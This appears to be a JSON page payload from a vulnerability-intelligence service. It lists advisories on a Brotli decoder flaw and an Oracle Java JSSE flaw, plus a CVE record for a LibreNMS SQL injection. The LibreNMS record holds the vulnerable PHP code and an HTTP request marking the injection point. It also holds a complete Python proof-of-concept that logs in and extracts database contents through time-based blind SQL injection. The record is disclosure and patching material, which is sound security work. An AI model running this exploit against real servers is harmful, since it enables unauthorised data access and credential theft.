[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-26990":30,"landing-articles":81},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":51,"references":53,"score":58,"epss_score":59,"epss_percentile":60,"is_kev":61,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":62,"attack_mappings":72,"exploits":79},20876,"CVE-2026-26990","EUVD-2026-8037","LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php\n\n### Summary\nA time-based blind SQL injection vulnerability exists in `address-search.inc.php` via the `address` parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.\n\n\n### Details\nThis vulnerability requires authentication and is exploitable by any authenticated user.\n\nThe vulnerable endpoint is at `\u002Fajax_table.php` with the following request displaying the injection point.\n```\nPOST \u002Fajax_table.php HTTP\u002F1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla\u002F5.0 (X11; Linux x86_64; rv:140.0) Gecko\u002F20100101 Firefox\u002F140.0\nAccept: *\u002F*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application\u002Fx-www-form-urlencoded; charset=UTF-8\nOrigin: http:\u002F\u002F192.168.236.131\nConnection: keep-alive\nReferer: http:\u002F\u002F192.168.236.131\u002Fsearch\nCookie: laravel_session=[Authenticated user cookie]\n\ncurrent=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1\u002Faa\u003Cinjected SQL here>\n```\n\nWithin `includes\u002Fhtml\u002Ftable\u002Faddress-search.inc.php`, the user-controlled `$prefix` variable derived from the `address` parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.\n\n```php\n\u002F\u002F Lines 16-35, 51-53\n$address = $vars['address'] ?? '';\n$prefix = '';\n$sort = trim((string) $sort);\n\nif (str_contains($address, '\u002F')) {\n    [$address, $prefix] = explode('\u002F', $address, 2);\n}\n\nif ($search_type == 'ipv4') {\n    $sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';\n    $sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';\n\n    if (! empty($address)) {\n        $sql .= ' AND ipv4_address LIKE ?';\n        $param[] = \"%$address%\";\n    }\n\n    if (! empty($prefix)) {\n        $sql .= \" AND ipv4_prefixlen='$prefix'\";\n    }\n\n......\n\n    if (! empty($prefix)) {\n        $sql .= \" AND ipv6_prefixlen = '$prefix'\";\n    }\n```\n\n\n### PoC\nThe following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of `SELECT CURRENT_USER()` from the database:\n```python\n#!\u002Fusr\u002Fbin\u002Fpython3\n\nimport requests\nimport sys\nimport re\n\nfrom urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\n\n# Configured to be used with burpsuite on the default burpsuite port of 8080\nproxies = {\"http\": \"http:\u002F\u002F127.0.0.1:8080\", \"https\": \"http:\u002F\u002F127.0.0.1:8080\"}\n\n# When None is returned it means that all values have been retrieved from the queried value in the target DB\ndef blind_binsearch_sqli(inj_str):\n    try:\n        a = range(32,126)\n        start = 0\n        end = len(a)\n        while start \u003C= end:\n            mid = (start + end) \u002F\u002F 2\n            target_equal = inj_str.replace(\"[CHAR]\", str(a[mid]))\n            target_less = inj_str.replace(\"=[CHAR]\", f\"\u003C{a[mid]}\")\n\n            # Return ascii decimal value for storing to a local string buffer\n            if condition(target_equal):\n                return a[mid]\n            # Use lower half of the \"a\" array\n            elif condition(target_less):\n                end = mid - 1\n            # Use upper half of the \"a\" array\n            else:\n                start = mid + 1\n        return None\n    except IndexError:\n        return None\n\n\n# Check injection result\ndef condition(payload):\n    exploit_data = {\n    \"current\": \"1\",\n    \"rowCount\": \"50\",\n    \"sort[hostname]\": \"asc\",\n    \"searchPhrase\": \"\",\n    \"id\": \"address-search\",\n    \"search_type\": \"ipv4\",\n    \"device_id\": \"1\",\n    \"interface\": \"\",\n    \"address\": f\"127.0.0.1\u002Faa{payload}\"\n    }\n    # Payload must be slotted in somewhere in this code\n    payload_url = f\"{url}\u002Fajax_table.php\"\n\n    r = s.post(payload_url, data=exploit_data)\n\n    elapsed_time_seconds = r.elapsed.total_seconds()\n\n    # If response time is within sleep function delay range of +1 or -1 second the query returned \"true\"\n    if (elapsed_time_seconds + 1) > (sleep_delay * 2) and (elapsed_time_seconds - 1) \u003C (sleep_delay * 2):\n        return True\n    else:\n        return False\n\n\ndef get_length(inj):\n    length = 0\n    print(f\"(+) Getting the length of \\\"{inj}\\\"\")\n    while True:\n        # MySQL\n        #length_injection_string = f\" AND LENGTH(({inj}))={str(length)}-- -\"\n        length_injection_string = f\"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND '1'='1\"\n\n        bool_value = condition(length_injection_string)\n\n        if bool_value == False:\n            length += 1\n        else:\n            return length\n\n\ndef injection(inject_qry):\n    extracted = \"\"\n    length = get_length(inject_qry)\n    print(f\"Length of \\\"{inject_qry}\\\": {length}\")\n    print(f\"(+) Retrieving the value for \\\"{inject_qry}\\\"\")\n\n    # +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted\n    for i in range(1, length + 2):\n        # MySQL\n        injection_string = f\"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND '1'='1\"\n\n        retrieved_value = blind_binsearch_sqli(injection_string)\n\n        if retrieved_value:\n            extracted += chr(retrieved_value)\n            extracted_char = chr(retrieved_value)\n            print(extracted_char, flush=True, end=\"\")\n        elif retrieved_value == None:\n            print(\"\\n(+) done!\\n\")\n            return extracted\n\nglobal url\nglobal s\nglobal sleep_delay\nglobal username\nglobal password\n\n# Default sleep delay, due to injection query used the response time will be sleep_delay * 2\nsleep_delay = 1.5\n\ns = requests.Session()\n\n# HTTPS\ns.verify = False\n\n# Toggle debug proxy\n#s.proxies.update(proxies)\n\nurl = \"http:\u002F\u002F192.168.236.131\"\n\nusername = \"tester2\"\npassword = \"Adminbazinga\"\n\nif len(sys.argv) > 1:\n    url = sys.argv[1]\nif len(sys.argv) > 2:\n    username = sys.argv[2]\nif len(sys.argv) > 3:\n    password = sys.argv[3]\nif len(sys.argv) > 4:\n    sleep_delay = float(sys.argv[4])\n\nr = s.get(url + \"\u002Flogin\")\n\nlogin_token = re.search(r\"name=\\\"_token\\\"\\s+value=\\\"([^\\\"]+)\\\"\", r.text).group(1)\n\nlogin_data = {\n\"_token\": login_token,\n\"username\": username,\n\"password\": password,\n\"submit\": \"\"\n}\n\nr = s.post(url + \"\u002Flogin\", data=login_data)\n\n# Example: python3 script.py http:\u002F\u002F127.0.0.1 username password 1.5\nif __name__ == \"__main__\":\n    injection(\"SELECT CURRENT_USER()\")\n```\n\nTester user role:\n\u003Cimg width=\"771\" height=\"154\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002Ffe13754c-9a41-48cb-934d-575097675c13\" \u002F>\n\n\nExample usage of PoC script:\n\u003Cimg width=\"924\" height=\"104\" alt=\"image\" src=\"https:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F6b1e19a9-4c73-4e44-8e16-851ff92d5960\" \u002F>\n\n\n### Impact\n* Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques.\n* This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data.\n* An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.","2026-02-18T22:31:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":45,"confidentialityImpact":42},"UNCHANGED","3.1",8.8,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","NONE","LOW",true,[48],"CWE-89",[50],"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*",[52],"Librenms Librenms",[54,55,56,57],"https:\u002F\u002Fgithub.com\u002Flibrenms\u002Flibrenms\u002Fcommit\u002F15429580baba03ed1dd377bada1bde4b7a1175a1","https:\u002F\u002Fgithub.com\u002Flibrenms\u002Flibrenms\u002Fpull\u002F18777","https:\u002F\u002Fgithub.com\u002Flibrenms\u002Flibrenms\u002Fsecurity\u002Fadvisories\u002FGHSA-79q9-wc6p-cf92","https:\u002F\u002Fgithub.com\u002Flibrenms\u002Flibrenms",0.79,0.04467,0.91378,false,{"timestamp":63,"automatable":64,"tech_impact":65,"exploitation":66,"cisa_decision":67,"cisa_remediation_timeline":71},"2026-02-20T15:29:14.167811Z","no","total","none",{"vector":68,"decision":69,"priority":70},"CISAv1\u002FE:N\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T06:05:16.624704\u002F","track_star","medium","14D",[73],{"name":74,"source":75,"tactics":76,"technique_id":78},"Exploit Public-Facing Application","attack_vector",[77],"initial-access","T1190",[80],{"link":56},{"count":82,"next":83,"previous":6,"results":84},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[85,93,101],{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]